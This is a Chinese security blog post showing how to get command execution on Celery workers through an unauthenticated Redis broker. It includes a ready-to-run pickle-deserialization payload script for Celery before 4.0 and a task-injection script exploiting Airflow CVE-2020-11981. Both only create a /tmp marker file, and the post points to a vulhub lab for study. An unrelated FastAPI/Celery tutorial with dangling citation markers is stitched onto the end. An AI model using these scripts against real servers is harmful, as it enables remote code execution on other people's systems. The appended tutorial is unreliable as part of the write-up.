Celery Redis未授权访问命令执行利用

在这里插入图片描述
首发补天社区:https://forum.butian.net/share/224←走过路过帮点一下~

前言

Celery 是一个简单、灵活且可靠的分布式系统,用于处理大量消息,同时为操作提供维护此类系统所需的工具。它是一个专注于实时处理的任务队列,同时也支持任务调度。

前段时间碰到个未授权的Redis,看里面的数据是作为Celery的任务队列使用,所以想研究下这种情况应该如何进行利用。

目前能够想到的利用有两种:

  1. 任务信息序列化使用pickle模式,利用python反序列化漏洞进行利用
  2. 找到可以执行任意命令、代码、函数的Task,下发该Task任务

本文只讨论Redis,使用其他AMQP(ActiveMQ、RabbitMQ等等)应该也是同理。

相关环境已经给vulhub提了PR,后续可以从vulhub上布置环境进行体验。

目前celery3.1.x的环境已经合进去了:

https://github.com/vulhub/vulhub/tree/master/celery/celery3_redis_unauth

Celery的任务Serializer

有个比较有意思的地方:3.1.x最后一个版本为3.1.26,在README中说明下一个版本为3.2,结果3.1.x之后的版本,直接变成4.0.

task_serializer4.0之前默认为pickle,之后为json
result_serializer4.0之前默认为pickle,之后为json
event_serializer只接受JSON

Celery < 4.0的利用(Pickle反序列化利用)

由于Celery < 4.0的情况下,默认的task_serializer为pickle,可以直接利用pickle反序列化漏洞进行利用。

(如果对方取result的话,也可在取result处进行覆盖利用)

本章以Celery3.1.23为例进行利用。

写一个最简单的Task:

from celery import Celery
app = Celery('tasks', broker='redis://redis/0')
@app.task
def add(x, y):
    return x + y

Celery使用的默认队列名为celery,在Redis中表现为db中存在一个key为celery的List(存在未消费的任务时存在):

在无Worker的情况下启动任务:

在这里插入图片描述

可以看到名为celery的key,以及其中内容,body为base64后的pickle序列化内容。

在这里插入图片描述

**Tips:**可以通过以_kumbu.bind.为前缀的key,确定都有哪些队列,这个是Kombu的一个命名规范

Celery的具体任务消息结果可以参考官方文档,此处不做详细讨论:

https://docs.celeryproject.org/en/stable/internals/protocol.html

Celery使用Kombu这个AMQP实现进行任务的下发与拉取,这里不分析详细逻辑,直接拿出队列内容,写一个简单的利用脚本(执行touch /tmp/celery_success命令),将body内容替换为命令执行的pickle数据:

import pickle
import json
import base64
import redis
#redis连接
r = redis.Redis(host='localhost', port=6379, decode_responses=True,db=0) 
#队列名
queue_name = 'celery'
ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}"
task_dict = json.loads(ori_str)
command = 'touch /tmp/celery_success'
class Person(object):
    def __reduce__(self):
    	return (__import__('os').system, (command,))
pickleData = pickle.dumps(Person())
task_dict['body']=base64.b64encode(pickleData).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

执行之后,可以看到Celery Worker所在console有如下报错:

在这里插入图片描述

继续查看tmp目录,可以看到文件创建成功:
在这里插入图片描述

Celery 4.0之后的利用

Celery 4.0之后,默认的任务消息序列化方式由Pickle改为了JSON,无法直接再利用Pickle反序列化。

配置了CELERY_ACCEPT_CONTENT支持Pickle

Celery4.0之后,如果直接使用上面的脚本会有如下拒绝反序列化的提示:

在这里插入图片描述

实际上在celery 3.1.X后面的版本在启动worker时,会有个提示:如果3.2之后的版本(实际上是4.0),需要配置启动CELERY_ACCEPT_CONTENT选项来启动worker的pickle支持。

在这里插入图片描述

添加CELERY_ACCEPT_CONTENT配置,即可如4.0版本前一样进行利用:

app.conf['CELERY_ACCEPT_CONTENT'] = ['pickle', 'json', 'msgpack', 'yaml']

Apache Airflow的CeleryExecutor利用

CVE-2020-11981是利用Airflow的CeleryExecutor类来进行命令执行,可利用版本小于1.10.10,

当airflow使用CeleryExecutor进行执行时,会启动celery作为任务调度,Celery Worker中可执行airflow.executors.celery_executor.execute_command方法任务,具体代码看最后的diff图片。

execute_command就属于开始说的第二种,可以执行任意命令的task.

写入一个JSON任务消息执行airflow.executors.celery_executor.execute_command到airflow的celery redis队列中,此处注意队列名为default:

import pickle
import json
import base64
import redis
r = redis.Redis(host='localhost', port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body)).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

Airflow的worker日志:

在这里插入图片描述

worker所在docker的tmp目录中出现airflow_success文件:

在这里插入图片描述

修复后只允许数组前三位为[“airflow”, “tasks”, “run”],提交如下,后续改为单独抽出一个validate函数,用于多处的命令执行检测:

在这里插入图片描述

结语

Celery 4.0以上暂未找到更好的利用方法,等找到以后再发吧。

参考

https://docs.celeryproject.org/en/stable/userguide/configuration.html

https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk

https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers

https://www.jianshu.com/p/52552c075bc0

https://www.runoob.com/w3cnote/python-redis-intro.html

https://blog.youkuaiyun.com/SKI_12/article/details/85015803

https://nvd.nist.gov/vuln/detail/CVE-2020-11981

https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E

### 如何在 FastAPI 中使用 CeleryRedis 为了实现 FastAPI 项目中集成 CeleryRedis 的需求,以下是详细的说明: #### 1. 安装依赖项 首先需要安装 `fastapi`、`uvicorn`、`celery` 和 `redis-py` 库。可以通过以下命令完成安装: ```bash pip install fastapi uvicorn celery redis ``` #### 2. 配置 Celery 实例 创建一个文件名为 `celery_app.py` 的模块来定义 Celery 实例并配置其连接到 Redis。 ```python from celery import Celery # 使用 Redis 作为消息代理和结果存储后端 CELERY_BROKER_URL = 'redis://localhost:6379/0' CELERY_RESULT_BACKEND = 'redis://localhost:6379/0' # 创建 Celery 实例 celery_app = Celery('worker', broker=CELERY_BROKER_URL, backend=CELERY_RESULT_BACKEND) # 可选:加载默认配置 celery_app.conf.update( task_serializer='json', accept_content=['json'], result_serializer='json', timezone='UTC', enable_utc=True, ) ``` 此部分代码通过指定 Redis URL 来初始化 Celery 并设置序列化器和其他选项[^2]。 #### 3. 定义异步任务 在单独的任务模块(如 `tasks.py`)中定义具体的 Celery 任务逻辑。 ```python from celery_app import celery_app @celery_app.task def add(x, y): return x + y ``` 这里展示了如何基于已有的 Celery 实例注册一个新的任务函数 `add()`,它接受两个参数并将它们相加返回结果[^1]。 #### 4. 启动 Celery Worker 运行下面的命令启动 Celery worker 进程监听来自队列的新任务请求。 ```bash celery -A celery_app.celery_app worker --loglevel=info ``` 这一步非常重要,因为它负责实际执行由 API 调度过来的工作单元[^2]。 #### 5. 整合至 FastAPI 应用程序 最后,在主应用程序入口处调用这些后台作业服务。例如修改如下所示的一个简单 RESTful 接口用于触发远程计算操作: ```python from fastapi import FastAPI import tasks app = FastAPI() @app.post("/compute/") async def compute(): # 发送任务给 Celery 处理 future_result = tasks.add.delay(4, 8) return {"task_id": str(future_result), "status":"Processing"} ``` 当客户端向 `/compute/` POST 请求时,服务器会立即将该工作委派出去而不等待最终答案立即响应成功状态码以及唯一标识符以便稍后查询进度或获取成果[^2]。 --- ### 注意事项 - **环境变量管理**: 如果不想硬编码敏感数据比如密码之类的建议采用 `.env` 文件配合 python-dotenv 扩展包读取外部配置替代固定字符串形式写死进去的做法更加安全灵活可控性强一些. - **错误处理机制设计合理完善**, 对可能出现的各种异常情况要有预见性和针对性解决方案以免影响用户体验甚至造成系统崩溃等问题发生.
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值